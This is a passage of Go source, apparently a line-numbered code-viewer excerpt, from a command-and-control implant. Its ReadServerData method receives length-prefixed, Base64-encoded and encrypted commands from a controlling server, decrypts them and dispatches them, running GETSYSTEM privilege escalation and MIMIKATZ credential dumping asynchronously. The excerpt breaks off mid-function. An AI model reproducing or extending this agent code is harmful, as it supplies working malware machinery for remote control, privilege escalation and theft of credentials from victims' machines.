()
| 81 | |
| 82 | func (s *TCPClient) ReadServerData() { |
| 83 | if s.Client == nil || !s.IsConnected { |
| 84 | s.IsConnected = false |
| 85 | return |
| 86 | } |
| 87 | |
| 88 | n, err := s.Client.Read(s.Buffer) |
| 89 | if err != nil { |
| 90 | s.IsConnected = false |
| 91 | return |
| 92 | } |
| 93 | |
| 94 | if n == 4 { |
| 95 | s.MS.Write(s.Buffer) |
| 96 | s.BufferSize = int64(binary.BigEndian.Uint32(s.MS.Bytes())) |
| 97 | s.MS.Reset() |
| 98 | |
| 99 | if s.BufferSize > 0 { |
| 100 | s.Buffer = make([]byte, s.BufferSize) |
| 101 | for int64(s.MS.Len()) != s.BufferSize { |
| 102 | rc, err := s.Client.Read(s.Buffer) |
| 103 | if err != nil { |
| 104 | s.IsConnected = false |
| 105 | return |
| 106 | } |
| 107 | s.MS.Write(s.Buffer[:rc]) |
| 108 | s.Buffer = make([]byte, s.BufferSize-int64(s.MS.Len())) |
| 109 | } |
| 110 | if int64(s.MS.Len()) == s.BufferSize { |
| 111 | data := s.MS.Bytes() |
| 112 | if data != nil { |
| 113 | totalLen := len(data) |
| 114 | if totalLen > 0 { |
| 115 | rawData, err := encrypt.DecodeBase64(data) |
| 116 | if err != nil { |
| 117 | fmt.Println(err) |
| 118 | } |
| 119 | data, err = encrypt.Decrypt(rawData) |
| 120 | if err != nil { |
| 121 | fmt.Println(err) |
| 122 | } |
| 123 | decrypted, err := encrypt.Decrypt(data) |
| 124 | if err != nil { |
| 125 | communication.ErrorProcess(err) |
| 126 | fmt.Println(err) |
| 127 | } |
| 128 | if len(decrypted) < 4 { |
| 129 | return |
| 130 | } |
| 131 | cmdType := binary.BigEndian.Uint32(decrypted[:4]) |
| 132 | cmdBuf := decrypted[4:] |
| 133 | |
| 134 | // Long-running commands run async so keepalive doesn't time out |
| 135 | if cmdType == services.GETSYSTEM || cmdType == services.MIMIKATZ { |
| 136 | go func(ct uint32, cb []byte) { |
| 137 | result, callbackType, err := services.DispatchCommand(ct, cb) |
| 138 | if err != nil { |
| 139 | communication.ErrorProcess(err) |
| 140 | } else if callbackType >= 0 { |
no test coverage detected